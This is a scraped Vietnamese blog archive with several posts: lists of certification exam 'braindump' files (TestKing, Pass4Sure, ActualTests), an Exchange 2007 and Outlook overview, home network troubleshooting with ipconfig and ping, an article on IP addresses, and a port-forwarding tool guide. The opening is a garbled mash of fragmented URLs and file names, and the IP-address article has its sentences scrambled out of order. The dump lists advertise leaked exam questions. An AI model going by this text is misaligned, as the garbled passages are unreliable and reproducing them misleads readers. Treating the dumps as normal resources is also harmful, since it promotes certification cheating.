0 By Bohack 251q.exe www.freepreptest.exe www.exe http://www.php?t=1657 Được đăng bởi haodalat tại 11:23 CH 0 nhận xét Nhãn: Pass4Sure.freepreptest.com/examworx/S10-200.exe www.com/examworx/RF0-001ePad.freepreptest.vce TestKing 70-291 v52 390q.freepreptest.freepreptest.freepreptest.exe www.com/examworx/SY0-101.exe www.exe www.com/examworx/S10-101ePad.freepreptest.freepreptest.com/examworx/PW0-205.exe www.com/examworx/QQ0-400.exe www.freepreptest.exe www.freepreptest.exe www.com/examworx/S10-101.freepreptest.freepreptest.vce TestKing 70-270 v34 by sHaDYvB 210q.freepreptest.freepreptest.com/examworx/S10-300.exe www.www.vsic.0 by lehnon.exe www.exe www.freepreptest.exe www.exe www.com/examworx/S10-100.freepreptest.freepreptest.exe www.freepreptest.com/examworx/S10-300ePad.com/examworx/QQ0-100ePad.com/examworx/QQ0-200.exe www.freepreptest.com/examworx/S10-200ePad.exe www.freepreptest.com/examworx/RF0-001.com/examworx/QQ0-200ePad.exe www.vce ActualTests 70-270 by Beebe717 204q.freepreptest.exe www.com/examworx/QQ0-300ePad.freepreptest.freepreptest.com/examworx/PW0-205ePad.01.freepreptest.exe www.exe www.freepreptest.freepreptest. Pre Exam Top 30 Practice Exams Microsoft Microsoft Microsoft Microsoft Microsoft Microsoft Microsoft TestKing 70-290 v48.freepreptest.com/examworx/QQ0-300.freepreptest.exe www.exe www.com/examworx/PW0-100ePad.freepreptest.vce ActualTests 70-291 v01.exe www.com/examworx/S10-100ePad.freepreptest.exe www.vce TestKing 70-293 v33.com/examworx/QQ0-100.com/examworx/PW0-050ePad.vce .exe www.com/examworx/PW0-200.com/examworx/PW0-200ePad.freepreptest.exe www.exe www.freepreptest.exe www.com/examworx/SK0-002ePad.com/examworx/SF-040XePad.com/examworx/SY0-101ePad.com/examworx/PW0-100.exe www.com/examworx/PW0-300.freepreptest.exe www.com/examworx/QQ0-400ePad.06 by Manfish.exe www.com/examworx/SK0-002.com/examworx/PW0-300ePad.com/examworx/SF-040X.freepreptest.vce ActualTests 70-290 by Beebe717 436q.com/forum/showthread.com/examworx/PW0-050.

Microsoft ActualTests 70-270 v 09 11 06 by elegipcio 210q.vce Microsoft TestKing 70-294 v32 by Adil q254.vce Microsoft TestKing 70-431 by Wedge 80q.vce Microsoft TestKing 70-270 v34 By Darkons 218q.vce Microsoft Actualtest 70-431 v03-05-07 by Jim316.vce Microsoft TestKing 70-284 v33.0 by Pedro 151q.vce Microsoft TestKing 70-299 v14.0 by Goswami 124q.vce Microsoft Pass4sure 70-291 v2.4 by EvilRen 132q.vce Microsoft TestKing 70-270 v43 by Venom 420q.vce Microsoft Pass4sure 70-649 v2 73 by Ynx 55q.vce Microsoft TestInside 70-290 v9.5 by Dundar corrected.vce Microsoft TestKing 70-620 v8.0 by sonivEX 207q.vce Cisco Testking 640-802 v9 by Ajay Vernekar 676q.vce Microsoft Pass4Sure 70-620 v2 73.vce Microsoft TestInside 70-290 v2007-12 04 by Venom 109q.vce Microsoft TestKing 70-290 v59 2008-04-07 by SassyAndStyle 839q.vce Microsoft Braindumps 70-648 by besmart.vce Microsoft Pass4Sure 70-294 v1.8 by Mahmoud M H 92q.vce Cisco TestKing 640-802 v13 182q.vce Microsoft TestInside 70-647 v1 12 by Rene 121q.vce Microsoft TopCerts 70-649 by rG 55q.vce Microsoft ActualTest 70-620 v12-10-2007 by AJ 207q.vce Microsoft Pass4Sure 70-647 144q.vce Latest VCE Uploads Date Microsoft ActualTests 70-536 v2008-10-06.vce 22-Apr-2008 Microsoft TestKing 70-298 v20 127q by sonivEX.vce 21-Apr-2008 Microsoft TestKing 70-298 v20 by BerTy 127q.vce 21-Apr-2008 Microsoft Pass4sure 70-431 v2 83 with sims by pandarus 70q.rar 21-Apr-2008 Microsoft Pass4sure 70-649 v2 83 by BerTy 98q.vce 21-Apr-2008 ITIL ActualTests EX0-100 v2007-12-06 by Flancox 308q.vce 18-Apr-2008 Microsoft Pass4Sure 70-640.vce 18-Apr-2008 Microsoft TestKing 70-270 v43 356q.vce 17-Apr-2008 Microsoft Pass4Sure 70-647 144q.vce 16-Apr-2008 Microsoft Pass4Sure 70-646 132q.vce 16-Apr-2008 CompTIA ActualTests SYO-101 v2008-03-26 by Saul Goodman 895q.vce 16Apr-2008 Microsoft TestInside 70-646 v1 23 by fmustafa 108q.vce 16-Apr-2008 Microsoft Certbase 70-649 v1.1 German by mG 55q.vce 16-Apr-2008 Microsoft Certbase 70-649 v1.1 German by pharao 55q.vce 16-Apr-2008 Microsoft TestKing 70-290 v59 2008-04-14 by Scorplion 839q.vce 14-Apr2008 Microsoft TestInside 70-647 v2008-04-10 by CertCollection 121q.vce 14-Apr2008 Microsoft TestInside 70-647 v1 12 by MedDoggy 121q.vce 14-Apr-2008 Microsoft TestInside 70-647 v1 12 by Genuine 121q.vce 14-Apr-2008 Microsoft ActualTests 70-443 v6.1 07 by tadak 9cases fixed

over850scoreq.vce 14-Apr-2008 Microsoft TestInside 70-554 by navneet21 172q.vce 14-Apr-2008 Latest PDF Store Uploads Date Citrix TestKing 1Y0-259 v2.0 126q.pdf 21-Apr-2008 Citrix ExamWorx 1Y0-613 v2 73 88q.pdf 11-Apr-2008 Cisco TopCerts 642-873 v2 73 65q.pdf 11-Apr-2008 Cisco TopCerts 646-653 v2 73 45q.pdf 11-Apr-2008 Cisco TopCerts 642-964 v2 73 60q.pdf 11-Apr-2008 Cisco TopCerts 642-565 v2 73 70q.pdf 11-Apr-2008 Cisco TopCerts 646-011 v2 12 100q.pdf 11-Apr-2008 Cisco TopCerts 642-651 v2 73 60q.pdf 11-Apr-2008 Cisco TopCerts 646-562 v2 73 60q.pdf 11-Apr-2008 Cisco TopCerts 646-362 v2 73 60q.pdf 11-Apr-2008 Cisco TopCerts 642-691 v2 73 96q.pdf 11-Apr-2008 Cisco TopCerts 646-096 v2 73 51q.pdf 11-Apr-2008 Cisco TopCerts 642-652 v2 73 60q.pdf 11-Apr-2008 Cisco TopCerts 646-967 v2 73 55q.pdf 11-Apr-2008 Cisco TopCerts 646-229 v2 12 60q.pdf 11-Apr-2008 Cisco TopCerts 646-003 v2 73 60q.pdf 11-Apr-2008 Cisco TopCerts 646-222 v2 20 46q.pdf 11-Apr-2008 Cisco TopCerts 642-445 2 73 96q.pdf 11-Apr-2008 Cisco TopCerts 642-544 v2 73 48q.pdf 11-Apr-2008 Cisco TopCerts 642-426 v2 73 55q.pdf 11-Apr-2008 How to Open VCE Files Files with VCE extension can be opened with Visual CertExam Suite. Visual CertExam Suite How to Create VCE Files If you are also interested in creating VCE files from PDFs, you can read or download [PDF: 81.3 KB] the tutorial. Easy Way to Convert PDF to VCE Exam Formatter is a free tool that will help you to prepare text files imported from PDF for import into Visual CertExam Designer. Google http://www.examcollection.com/ Được đăng bởi haodalat tại 11:21 CH 0 nhận xét Nhãn: Pass4Sure, Pre Exam

Vấn đề truyền thông - Exchange và Outlook

Các sản phẩm truyền thông gồm có Exchange Server, Outlook, Communication Server (trước đây được biết đến là Live Communications

Server), Communicator và các sản phẩm có liên quan đến messaging, voice và hội thảo.

Những gì mới trong vấn đề truyền thông của Microsoft Những phải triển chính trong các sản phẩm của Microsoft cho vấn đề truyền thông thời gian thực và email (như Instant Message) được thực hiện từ tháng 9. Exchange Server 2007 và Outlook 2007 đã được phát hành vào tháng 9 năm 2006. Exchange 2007 và Outlook 2007 đã được phát hành vào tháng 12 năm 2006, đây là bắt đầu nâng cấp chính của nó đối với dòng sản phẩm truyền thông của Microsoft. Exchange 2007 cung cấp nhiều tính năng messaging được hợp nhất, nó kết hợp cả thư thoại và thư điện tử trong một hòm thư và đưa ra nhiều kiến trúc môđun với một giao diện quản trị có thể lập kịch bản và hoàn toàn mới, giao diện mới này có thể giúp quản lý và và mở rộng dễ dàng hơn. Một phát hành đã được lên kế hoạch vào giữa năm 2007 của sản phẩm Communication Server cho Instant Message, sự hiện diện, thoại và Web conferencing sẽ hoàn tất nền tảng truyền thông của Microsoft. Exchange và Outlook Exchange Server và Outlook client cung cấp các chức năng quản lý thông tin cá nhân và email, gồm có lịch biểu, liên hệ và quản lý nhiệm vụ. Các đối thủ cạnh tranh của Exchange là Domino/Notes, IBM Lotus và Novell GroupWise. (Tổng quan bằng đồ họa về các phát hành của Exchange và Outlook gần đây và sắp được phát hành sẽ cung cấp cho bạn nhiều thông tin hơn). Microsoft cung cấp một dịch vụ lưu trữ, chống spam và bảo mật email, dịch vụ này có tên gọi là Exchange Hosted Services, mặc dù với tên gọi như vậy nhưng dịch vụ này làm việc với tất cả các hệ thống email trên Internet mà không chỉ riêng Exchange. Tổng quan về Exchange và Outlook Phát hành vào tháng 2 năm 2007 và sau đó là các xu hướng theo ước lượng tính toán của Microsoft Dấu chấm đen là mốc thời điểm chấm dứt hỗ trợ mở rộng Một phát hành chính cho Exchange, máy chủ cộng tác và email, được phát hành vào tháng 9 năm 2006. Exchange 2007 cung cấp tính năng thư tín hợp nhất (tính năng kết hợp email với thư thoại và các dịch vụ fax), một kiến trúc môđul giúp cải thiện khả năng mở rộng và độ an toàn, bên cạnh đó là một tập Web Services API mới dành cho các chuyên gia phát triển phần mềm. Exchange 2007 hiện chỉ có cho các bộ vi xử lý x64 b4-bit, điều đó cũng có nghĩa là các bộ vi xử lý khác sẽ không hỗ trợ nâng cấp thích hợp từ những phiên bản trước. Outlook 2007 cũng được phát hành vào tháng 11 năm 2006 và có nhiều cải

thiện về quản lý nhiệm vụ, hỗ trợ lịch biểu và chia sẻ nhiệm vụ với các sản phẩm SharePoint. Nó cũng hỗ trợ nhiều tính năng mới của Exchange 2007 như thư tín hợp nhất, tuy nhiên nó lại có thể làm việc với Exchange 2003. Cũng giống như vậy, Exchange 2007 không yêu cầu Outlook 2007 nhưng một số tính năng của nó làm việc tốt hơn với client mới này. Không có phát hành trong tương lai nào của cả hai sản phẩm Exchange và Outlook được tuyên bố cho đến hiện nay, nhưng một nâng cấp có thể được phát hành cùng với Office 14, dự định vào khoảng cuối năm 2009. Dịch vụ lưu trữ và lọc trực tuyến Exchange Hosted Services có bản nâng cấp hoàn chỉnh (phiên bản 6.0), ban đầu được dự định phát hành với Exchange 2007 để cho phép cung cấp sự tích hợp thư mục cho dịch vụ lọc cùng với nhiều cải thiện khác nữa. Exchange Server Exchange Server 2007 (tên mã trước đây là Exchange 12) được phát hành để đăng ký ấn bản cho các khách hàng vào tháng 9 năm 2007. Những tính năng đáng lưu ý của nó gồm: - Hợp nhất thư tín, tính năng này hỗ trợ thoại, fax, các thông báo email trong một cơ sở hạ tầng thư tín. - Các tính năng quan trọng như phân loại thư, tự động ghi nhật ký (lưu trữ) và thư mục được quản lý sẽ cho phép các quản trị viên có thể áp đặt các chính sách (ví dụ áp đặt việc xóa các bản ghi email đã qua một chu kỳ mới được ủy quyền bởi những quy tắc). - Những tính năng được cải thiện như cơ chế tái tạo cơ sở dữ liệu mới cho phép thực hiện thường xuyên việc backup thư tín, giảm hiện tượng mất dữ liệu và tăng tốc độ khôi phục từ các lỗi máy chủ. - Kiến trúc môđul định nghĩa nhiều quy tắc cho Exchange Server (ví dụ quy tắc “edge transport server” cho việc định tuyến lưu lượng email của Internet) và cho phép các công ty có thể cài đặt chỉ những thành phần cần thiết trên máy chủ đảm trách mỗi quy tắc, từ đó làm giảm được số lượng các thành phần cần phải thực hiện vá và bảo vệ chống lại các tấn công. - Hỗ trợ cho các bộ vi xử lý x64-64-bit, cho phép các máy chủ Exchange mailbox có thể khai thác một số lượng lớn bộ nhớ và hỗ trợ các hòm thư về kích cỡ lớn cũng như số lượng. - Một giao diện quản lý mới của PowerShell, cơ chế kịch bản thế hệ kế tiếp của Microsoft, dùng để hỗ trợ việc quản lý các cài đặt theo kịch bản. - Web Services API mới cho việc truy cập vào email, lịch biểu, các liên lạc, nhiệm vụ, cho phép bất kỳ một ứng dụng web Services nào (gồm có cả các

ứng dụng không thuộc nền tảng của Microsoft). Exchange 2007 chạy riêng trên phần cứng x64 64-bit; các phiên bản 32-bit chỉ mới đưa vào chạy thử. Cùng với nhiều điều mới mẻ khác, sự hạn chế này sẽ ngăn chặn thích hợp những nâng cấp của các cài đặt Exchange 2003 đang tồn tại, các công ty vẫn chưa nâng cấp phần cứng cho Exchange Server gần đây sẽ phải đợi cho phiên bản sắp tới được đưa ra mới có thể sử dụng được Exchange 2007. Không có phát hành nào được tuyên bố sau Exchange Server 2007, tuy nhiên một phát hành tương tự trong một kết hợp với “Office 14” sẽ được ra mắt vào khoảng tầm cuối năm 2009. Các phiên bản của Exchange Server trước đây Biểu đồ này chỉ phác thảo những thời điểm hỗ trợ trong chu trình phát triển phần mềm cũng như phát hành ban đầu và lịch sử của các phát hành cho các phiên bản gần đây của Exchange Server. Sản phẩmGói dịch vụ hiện tạiChấm dứt hỗ trợ chủ đạoLịch sử phát hànhLưu ýExchange Server 2002SP3: 8/20021/2006 Hỗ trợ mở rộng: 11/1/2011Phát hành: 10/2000 SP1: 7/2001Yêu cầu Windows 2000 và Active Directory. Không thể chạy trên Windows Server 2003; có thể hoạt động chung với các bộ điều khiển miền của Windows Server 2003.Exchange Server 2003SP2: 11/10/20059/2008Phát hành: 9/2003 SP: 9/2004Một số tính năng yêu cầu đến Windows Server 2003 và Outlook 2003. Những ưu tiên của Exchange có thể sẽ tích hợp nhiều hơn với thoại và các dạng truyền thông thời gian thực khác thông qua dòng sản phẩm Communication Server của Microsoft; những cải thiện bổ sung cho bảo mật, chống spam, và các nguyên tắc hợp lệ; sự hợp nhất các Exchange API đối với các chuyên gia phát triển phần mềm. Những phát hành Exchange trong tương lai có thể sẽ không được cung cấp một cách liên tục sự hỗ trợ cho Public Folders như dòng sản phẩm SharePoint vẫn tiếp tục các chức năng cộng tác chia sẻ dữ liệu và tài liệu. Outlook Phiên bản hiện hành của trình máy khách dành cho việc quản lý thông tin cá nhân cũng như email của Microsoft là Outlook 2007, phiên bản mới này được phát hành vào tháng 11 năm 2006. Những tính năng đáng chú ý của nó cho phép tích hợp tốt hơn các nhiệm vụ với một số mục nhiệm vụ (như các cuộc hẹn và các thông báo đã được đánh dấu cho việc tiếp theo) và việc công bố nhiệm cụ cũng như lịch biểu với các sản phẩm portal của SharePoint. Outlook 2007 cũng cung cấp một giao diện người dùng tốt hơn cho một số tính năng

mới cua Exchange 2007 (như thư thoại). Outlook 2007 và Exchange 2007 không yêu cầu lẫn nhau; nhưng chúng có một số tính năng chỉ làm việc khi có cả hai, tuy nhiên các tổ chức có thể chuyển sang từng sản phẩm riêng biệt. Các phiên bản Outlook trước đây Biểu đồ này sẽ phác thảo những mốc thời gian hỗ trợ trong chu trình phát triển phần mềm của Microsoft cho sản phẩm này cũng như những phát hành ban đầu và lịch sử các gói dịch vụ cho các phiên bản gần đây của nó. Sản phẩm Gói dịch vụ hiện hànhMốc thời gian chấm dứt hỗ trợ chủ đạoLịch sử phát hànhOutlook 2000SP3: 21/10/200230/6/2004 Chấm dứt hỗ trợ mở rộng: 14/7/2009Phát hành: 6/1999 SP1: 3/2000 SP1a: 5/2000 SP2: 11/2000Outlook 2002SP2: 21/8/200211/7/2006 Chấm dứt hỗ trợ mở rộng: 12/7/2011Phát hành: 5/2001 SP1: 12/2001Outlook 2003SP2: 27/10/200513/1/2009Phát hành: 10/2003 SP1: 27/7/2004 Exchange Hosted Services Exchange Hosted Services là một tập các công cụ gồm có bốn dịch vụ cung cấp trực tuyến do Microsoft cung cấp, cho phép các tổ chức có thể thêm vào nhiều chức năng liên quan đến email khác nhau như chức năng chống virus, chống spam, lưu trữ thông báo, khôi phục thảm họa và mã hóa thư tín, trong khi đó vẫn cấu hình các máy chủ email bên trong. Được thu nhận từ FrontBridge Technologies từ hồi tháng 8 năm 2005, Exchange Hosted Services gồm có bốn dịch vụ dưới đây: - Exchange Hosted Filtering hợp nhất các bộ lọc được cập nhật một cách liên tục để bảo vệ giao thức truyền tải mail đơn giản (SMTP) vào và ra cho các tổ chức đối phó với các vấn đề như spam, virus, chống giả mạo và các vấn đề mail khác . - Exchange Hosted Continuity cho phép việc truy cập đang diễn ra với email mặc dù thiếu máy chủ email đối với một khách hàng nào đó bằng cách đẩy ra email vào (inbound) và có thể lưu ở đó lên đến 30 ngày số lượng các bản copy của tất cả các mail (vào, ra và bên trong) cho tham chiếu sau này. - Exchange Hosted Archive cũng giống như Hosted Continuity nhưng nó cung cấp những tính năng thiên về báo cáo và tìm kiếm hơn, chu kỳ sử dụng dài hơn để giúp các doanh nghiệp có thể đạt được những yêu cầu cần điều chỉnh và hợp lệ. - Exchange Hosted Encryption cho phép người dùng có thể gửi và nhận email

đã được mã hóa, thậm chí với những người nhận trong các tổ chức khác. Mặc dù với các tên như vậy nhưng Exchange Hosted Filtering và Encryption có thể làm việc với bất kỳ hệ thống email (SMTP) Internet chuẩn nào; còn Exchange Hosted Continuity và Exchange Hosted Archive thì hoàn toàn ngược lại, sử dụng việc ghi nhật ký Exchange ở phía trình khách để capture email bên trong. Exchange Hosted Services thường xuyên được cải thiện. Exchange Hosted Services 6.0, ban đầu được lên kế hoạch phát hành với Exchange 2007, phát hành sẽ giới thiệu vấn đề tích hợp thư mục cho dịch vụ lọc, cải thiện hiệu suất tìm kiếm cho Archive Services và Continuity Services, ngoài ra còn bảo vệ chống lại việc spam dựa trên ảnh.

Theo Microsoft, QuanTriMang http://www.worldsoftvn.com/forum/showthread.php? s=5ce030c09cefc0b4a796e80f4ec0e332&t=676 Được đăng bởi haodalat tại 6:32 CH 0 nhận xét Nhãn: Exchange- Outlook

21-04-2008

Khắc phục nhanh khi kết nối Internet bị 'đứt'

Khi đang duyệt web mà thấy thông báo "The page cannot be displayed" (trang không hiển thị được) thì có thể kết nối mạng của đã hỏng. Những cách sau đây sẽ giúp phục hồi lại. 1. Khởi động lại kết nối Cách đơn giản nhất là bấm chuột phải vào biểu tượng Local Area Connection trên khay hệ thống (hoặc vào bằng cách bấm chuột phải ở icon My Network Places > chọn Properties > Disable. Sau đó, bấm Enable lại. Nếu cách này không được, người dùng có thể thử các biện pháp liên quan đến địa chỉ IP: 2. Lấy lại địa chỉ IP Nếu thuê bao DSL hay cáp, bạn có thể đang dùng địa chỉ IP động - có nghĩa là địa chỉ kết nối PC với Internet sẽ thay đổi mỗi lần đăng nhập. Địa chỉ này được chỉ định nhờ giao thức DHCP. Tuy nhiên, trong quá trình hoạt động, DHPC có thể không cấp địa chỉ mới khi máy khởi động và bạn sẽ "kẹt" với địa chỉ IP cũ và không kết nối được Internet. Dù hệ thống kết nối trực tiếp qua modem hay router, bước đầu tiên bạn phải

làm là lấy một địa chỉ IP được chỉ định bằng cách nhấn chuột phải vào biểu tượng kết nối mạng trên khay hệ thống, chọn Repair. Windows sẽ tự động loại bỏ địa chỉ cũ và yêu cầu địa chỉ mới từ router hoặc nhà cung cấp dịch vụ (phụ thuộc vào cách PC được kết nối). Phần lớn các trường hợp, cách này khá hiệu quả. Nhưng nếu không khắc phục được, bạn phải giải quyết bằng tay. Nhấn vào menu Start > Run > gõ cmd. (Trong Windows Vista, chỉ cần gõ cmd vào hộp thoại Start Search). Ở dấu nhắc đợi lệnh trên màn hình DOS, gõ ipconfig để xem địa chỉ IP hiện tại, subnet mask và gateway mặc định cho tất cả các adapter. Các adapter khác có thể bao gồm card Wi-Fi và Bluetooth, mặc dù chúng sẽ xuất hiện trong trạng thái không kết nối. Bản thân câu lệnh này chỉ hiển thị thông tin chứ không làm được gì. Muốn lấy một địa chỉ IP khác, hãy gõ thêm tham số /release và /renew sau chữ ipconfig và một dấu cách. ipconfig /release sẽ điều khiển máy chủ DHCP xóa địa chỉ IP hiện có của tất cả các adapter, dù là mạng Ethernet hay không dây. Sau đó, lệnh ipconfig /renew nếu thành công thì một địa chỉ IP mới, một subnet mask mới và một gateway mặc định mới sẽ xuất hiện. 3. Kiểm tra cache DNS Khi bạn vẫn kết nối được Internet nhưng không thể vào một trang nào đó, có thể trục trặc ở cache máy khách DNS gây ra điều này. DNS đã dịch tên văn bản tên miền Internet thành số IP. Ví dụ Amazon.com trở thành 207.171.171.132. Cache lưu một hồ sơ về các trang bạn đã ghé qua để lần sau, khi vào tiếp, sẽ tải nhanh hơn. Đôi khi, một phần của file bị hỏng và khiến PC không thể tìm lại nơi lưu trữ. Xóa cache chính là cách giải quyết vấn đề này. Gõ dòng lệnh ipconfig /displaydns để xem danh sách các tranh đã ghé qua. Nếu không có tên trang web mà bạn cần vào thì gõ tiếp ipconfig /flushdns để xóa danh sách này. Sau đó, gõ lại địa chỉ web trên trình duyệt. 4. Dùng thêm các tham số khác của ipconfig Các tham số của lệnh ipconfig. Ipconfig có nhiều tham số khác dành cho việc xử lý rắc rối ở cấp độ cao hơn, và nếu bạn may mắn thì sẽ không bao giờ cần đến chúng. Gõ ipconfig /? để nghiên cứu thêm. 5. Ping địa chỉ IP Cũng trong cửa sổ DOS, lệnh ping làm vai trò xác định kết nối mạng của máy tính. Việc ping này sẽ gửi gói dữ liệu tới host, có thể ví von giống như tàu

ngầm truyền sóng âm tới một vật thể dưới nước để xác định khoảng cách, lệnh ping ước lượng thời gian đi hai chiều của gói tin, đưa nó về và hiển thị bất kỳ tình trạng mất gói tin nào. Trước hết, nhìn lại địa chỉ IP của máy tính (ví dụ 127.0.0.1) và gõ ping 127.0.0.1 ở dấu nhắc đợi lệnh, đợi vài giây chờ phản hồi. Windows sẽ cố gắng ping đến card mạng của hệ thống xem thiết bị có hoạt động không. Nếu bạn nhận lại được gói tin nghĩa là adapter mạng hoạt động ổn. Giờ ping đến một địa chỉ ngoài bằng cách gõ vào đó, ví dụ ping google.com. Nếu có gói tin trả lại, kết nối mạng của bạn đã được thiết lập. Tuy nhiên, nếu không nhận được gói tin này, bạn hãy thử ping địa chỉ IP của gateway mặc định. Nếu cách này cũng không được, phần cứng (modem, router, dây nối) của bạn có vấn đề và phải kiểm tra lại. 6. Kiểm tra phần cứng Nếu máy tính nối trực tiếp với modem DSL, hãy kiểm tra các dây nối được gắn chặt với các điểm nối, đèn modem phải sáng. Kiểm tra lại cổng Ethernet trên PC xem đèn có sáng không. Nếu đèn tắt trong khi cáp được nối vào máy tính (bật điện) thì có nghĩa là phải thay cổng Ethernet. Nếu đèn sáng mà vẫn không có kết nối, hãy tắt các thiết bị mạng của bạn và đợi một lát rồi bật lại. Cần làm theo các trình tự sau đây. - Tắt PC, rút dây điện của modem. Nếu đang dùng router thì tháo dây điện củarouter. - Sau đó khởi động lại modem. Sau khi nó đã khởi động xong và có đèn báo kết nối, hãy bật router và đợi router khởi động lại. - Khi hoàn thành việc này, bật PC, mở trình duyệt để kiểm tra kết nối. Nếu tất cả các thao tác trên đều thất bại thì đã đến lúc bạn phải gọi hỗ trợ từ nhà cung cấp dịch vụ. Hãy cho họ biết bạn đã làm những thao tác trên để họ không phải làm lại, mất thời gian. Có thể nguyên nhân là một lỗi nào đó trong hệ thống hay trên đường dây kéo từ ngoài vào nhà bạn. http://kythuatmang.com/ktm/viewthread.php?tid=422&extra=page%3D1 Được đăng bởi haodalat tại 9:38 CH 0 nhận xét Nhãn: co ban ve Mang may tinh, NETWORK

Làm thế nào để xác định một địa chỉ IP

Địa chỉ IP (Internet Protocol) là một địa chỉ duy nhất mà các thiết bị điện tử sử dụng để nhận biết và giao tiếp lẫn nhau trên mạng máy tính. Địa chỉ này được xác định bằng cách sử dụng chuẩn IP (Internet Protocol). Định nghĩa một cách đơn giản hơn thì địa chỉ IP là địa chỉ máy tính sử dụng trên Internet.

Phương pháp CIRD cũng được áp dụng vào phiên bản tiếp theo (IPv6) của địa chỉ IP. những thiết bị khác có thể có địa chỉ IP duy nhất bao gồm router. APNIC và LACNIC). IANA chỉ định các khối địa chỉ IP tới bất kỳ 4 khu vực đăng ký Internet (ARIN. khi địa chỉ IP của máy tính thay đổi khác nhau mỗi lần máy tính kết nối mạng thì đó là địa chỉ IP động. 967. Vì thế một phương pháp gán địa chỉ IP mới có tên là CIDR đã thay thế cho phương pháp trên. Phạm vi của các số trong khoảng từ 0 tới 255 thường được hiển thị bởi 8 bit. Khi kết nối Internet .135.67. Phiên bản mới của địa chỉ IP là 128 bit hoặc 16 byte chiều rộng. khi bạn sử dụng máy tính Macintosh hay khi sử dụng máy tính Windows. Phân loại địa chỉ IP Có hai loại địa chỉ IP: IP tĩnh và IP động. những nơi này sau đó sẽ gán các khối địa chỉ IP nhỏ hơn tới các nhà cung cấp dịch vụ Internet và doanh nghiệp. Khi địa chỉ IP của máy tính là như nhau mỗi lần máy tính kết nối vào mạng thì đó được gọi là địa chỉ IP tĩnh. Tuy nhiên. các máy chủ cơ sở hạ tầng. Dưới đây sẽ là một số phương pháp đơn giản để xác định địa chỉ IP của máy tính khi đang kết nối Internet.201'. Một địa chỉ IP thông thường gồm có 32 bit hoặc 4 byte địa chỉ thường được hiển thị bởi 4 chữ số (mỗi số giới hạn từ 0 đến 255) và cách nhau bởi dấu chấm. Tuy nhiên. Địa chỉ IP máy bạn là gì? Cho đến bây giờ chắc hẳn bạn vẫn đang thắc mắc "Địa chỉ IP của tôi là gì?" và "Làm thế nào để tôi có thể xác định được địa chỉ IP của tôi". 296. Ngoài máy tính. 294. Ta có một ví dụ về địa chỉ IP như sau: '192. máy fax Internet và thậm chí là một số máy điện thoại. Không khó để bạn có thể xác định địa chỉ IP. và thậm chí cả cách nhận diện địa chỉ IP của người gửi thư điện tử. switch. RIPE NCC. hạn chế của phiên bản địa chỉ IP này là số lượng địa chỉ IP bị giới hạn đối với 4. máy in.Do vậy mà địa chỉ IP là duy nhất đối với mỗi thiết bị. Địa chỉ IP đươc gán và quản lý bởi IANA (Internet Assigned Numbers Authority). Tuy nhiên các phương pháp sẽ khác nhau qua các tình huống khác nhau. phiên bản này sẽ cho phép một khối lượng lớn địa chỉ IP trở nên sẵn có cho các máy tính trên Internet. hay còn gọi là một ‘Octet’.

Dò tìm địa chỉ IP của thư điện tử nhận được Nếu bạn muốn dò tìm địa chỉ IP của máy tính đã gửi thư cho bạn thì có thể tìm thấy tại đầu mục (header) thư điện tử. Một số giá trị của địa chỉ IP Địa chỉ IP rất hữu ích cho việc dò tìm và giải quyết các vấn đề về xâm nhập cũng như các mối nguy hiểm từ Internet. Bạn sẽ tìm thấy địa chỉ IP của máy tính tại trường địa chỉ IP. * Nhập ‘cmd’ tại hộp nhập text. thì các trang web đó có thể sẽ dò tìm địa chỉ IP của router mạng. Theo Buzzle . Khi sử dụng máy tính Macintosh Trên máy Mac. Tuy nhiên.Trên Internet có rất nhiều trang web có thể dò tìm địa chỉ IP khi máy tính được kết nối qua Internet. khi máy tính là Mac OS X thì địa chỉ IP được tìm thấy tại System Preferences trong mục ‘Internet and Network’ . thì địa chỉ IP của máy tính từ nơi gửi thư sẽ được hiển thị. thông tin này sẽ được ẩn đi. Khi sử dụng máy tính Windows Nếu bạn muốn dò tìm địa chỉ IP của máy tính (trường hợp đang sử dụng Windows) thì quá trình hoàn dò tìm rất đơn giản: * Kích vào 'Start' trên thanh tác vụ Windows. * Chọn 'Run'. Thông thường. Nếu kích vào 'Show Headers' trong khi đọc thư điện tử trên Internet. địa chỉ IP được tìm thấy tại bảng điều khiển TCP/IP. * Tại trình đơn này. Những địa chỉ IP này đồng thời cũng giúp giảm spam thư điện tử hoặc khi bạn nhận được những bức thư với những lời đe dọa hay các loại virut nguy hiểm có thể xâm nhập thông qua thư điện tử. nếu như bạn đang trên một mạng LAN hay một mạng tại nhà. Lệnh này sẽ chuyển tới trình đơn dấu nhắc lệnh. nhập ‘ipconfig/all’.

http://www.html Được đăng bởi haodalat tại 9:24 CH 0 nhận xét Nhãn: co ban ve Mang may tinh. Chính vì thế. Chương trình sẽ tự động chuyển Port thông qua NAT một cách tự động trên khá nhiều Router và Modem.Phần 2: Dành cho người dùng bình dân ADSL ngày càng mạnh và lan tỏa thì nhu cầu chia sẻ dữ liệu thông qua mạng cũng rất lớn.0. NETWORK Nghệ thuật NAT . Khi hộp thoại Select Your Router hiển thị.187. sau đó nhấn tiếp OK để bắt đầu sử dụng chương trình. Ngay lần khởi động đầu tiên.vn/Story/vn/hotrokhachhang/kienthucmang/2008/1/34919 . Tại khung chính của chương trình. để cấu hình một cách tự động cơ chế chuyển Port trong Router để có thể kết nối cùng nhau nhiều máy vi tính là điều mà nhiều bạn quan tâm. bạn chọn vào mục Router tương ứng. Thông thường. Bạn có thể tải PFConfig phiên bản mới nhất 1. IP.38MB. cũng như nhu cầu giải trí thông qua Game Online đang rất thịnh hành. bạn chọn Tools > Select Router để hiển thị hộp thoại chọn thiết bị phần cứng tương ứng. Tuy nhiên. bạn chọn Cancel.portforward.3c. các máy tính khi sử dụng mạng ADSL tại Việt Nam thường dùng thông qua một Router nhất định thông qua cơ chế NAT.com/store/PFCSetup1. và muốn tự tạo Server riêng để các người bạn có thể cùng nhau chơi game trên đường truyền Interner tương tự như khi chơi qua LAN.com. đặc biệt là các ứng dụng chia sẻ ngang hàng và các ứng dụng Game Offline.187 tại http://www. Tương thích mọi phiên bản Windows. bạn nhấn chọn vào Update List để hiển thị toàn bộ danh sách thiết bị mới nhất từ trang chủ nhà sản xuất. bạn có thể dùng miễn phí nếu chỉ dùng chuyển port tự động mà không muốn lập trình phần cứng trên Router. PFConfig còn hỗ trợ khá nhiều ứng dụng cho phép bạn thoải mái hơn khi dùng chung với nhiều máy khác thông qua môi trường ADSL. Ngoài ra. PFConfig là phiên bản có phí. Sau khi chọn xong nhà sản . bạn cần khởi động lại máy để có thể sử dụng chương trình.0. Sau khi tải và cài đặt thành công. Sau khi hoàn tất. Theo thống kê có khoảng hơn 40 nhà sản xuất góp mặt trong chương trình. Với PFConfig là những gì bạn cần trong trường hợp này. Cách này được xem là 